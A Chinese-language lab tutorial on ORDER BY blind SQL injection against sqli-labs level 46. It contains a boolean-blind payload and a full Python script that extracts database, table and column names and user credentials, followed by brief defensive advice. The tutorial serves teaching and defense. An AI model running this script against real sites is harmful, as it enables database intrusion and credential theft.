目录
一.order by盲注的原理
二.注入方式
a.布尔盲注
b.时间盲注
三.防御
一.order by盲注的原理
order by子句是用于按指定列排序查询结果,列名或列序号皆可。
order by 后面接的字段或者数字不一样,那么这个数据表的排序就会不同。
order by 盲注利用的就是这一点。
二.注入方式
环境为sqli-labs的46关,参数为sort传入id
a.布尔盲注
传入1时
传入2时
传入3时
不同字段的顺序是不同的,根据这个结果,我们可以用rand()实现盲注
?sort=rand(ascii(substr((select database()),1,1))>114)
转为ASCII码来比较真假,为真时第一列为admin3,为假时第一列为Dumb
下面是脚本内容
import time
import requests
from bs4 import BeautifulSoup
def inject_database(url): #库
dataname = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "rand(ascii(substr((select database()),%d,1))>%d) " % (i, mid)
res = {"sort": payload}
r = requests.get(url, params=res)
html = r.text
soup = BeautifulSoup(html,'html.parser')
getusername = soup.find_all('td')[1].text
if getusername == 'admin3':
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
dataname += chr(mid)
return dataname
def inject_tables(url, database_name):#表
tables = []
for i in range(0, 10):
table_name = ''
for j in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "rand(ascii(substr((select table_name from information_schema.tables where table_schema='%s' limit %d,1),%d,1)) > %d) " % (database_name, i, j, mid)
res = {"sort": payload}
r = requests.get(url, params=res)
html = r.text
soup = BeautifulSoup(html,'html.parser')
getusername = soup.find_all('td')[1].text
if getusername == 'admin3':
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
table_name += chr(mid)
if table_name:
tables.append(table_name)
print(f"Table {i+1}: {table_name}")
return tables
def inject_columns(url, database_name, table_name):#列
columns = []
for i in range(0, 10):
column_name = ''
for j in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "rand(ascii(substr((select column_name from information_schema.columns where table_schema='%s' and table_name='%s' limit %d,1),%d,1)) > %d) " % (database_name, table_name, i, j, mid)
res = {"sort": payload}
r = requests.get(url, params=res)
html = r.text
soup = BeautifulSoup(html,'html.parser')
getusername = soup.find_all('td')[1].text
if getusername == 'admin3':
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
column_name += chr(mid)
if column_name:
columns.append(column_name)
print(f"Column {i+1}: {column_name}")
return columns
def inject_data(url, database_name, table_name, column_name):#数据
data = []
for i in range(0, 10):
row_data = ''
for j in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "rand(ascii(substr((select %s from %s.%s limit %d,1),%d,1)) > %d) " % (column_name, database_name, table_name, i, j, mid)
res = {"sort": payload}
r = requests.get(url, params=res)
html = r.text
soup = BeautifulSoup(html,'html.parser')
getusername = soup.find_all('td')[1].text
if getusername == 'admin3':
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
row_data += chr(mid)
if row_data:
data.append(row_data)
print(f"Row {i+1}: {row_data}")
return data
if __name__ == '__main__':
url = 'http://127.0.0.1/sqli/Less-46/'
database_name = inject_database(url)
print(f"Database Name: {database_name}")
tables = inject_tables(url, database_name)
print(f"Tables: {tables}")
if tables:
columns = inject_columns(url, database_name, tables[3])
print(f"Columns: {columns}")
if columns:
username = inject_data(url, database_name, tables[3], columns[1])
password = inject_data(url, database_name, tables[3], columns[2])
print(f"Data: {username}")
print(f"Data: {password}")
b.时间盲注
时间盲注不依赖页面内容,直接通过响应时间判断条件,因此无需解析html
三.防御
1.预编译,如PHP的PDO
2.最小权限原则,限制数据库用户权限,仅允许执行必要的操作。
3.输入长度限制
4.部署WAF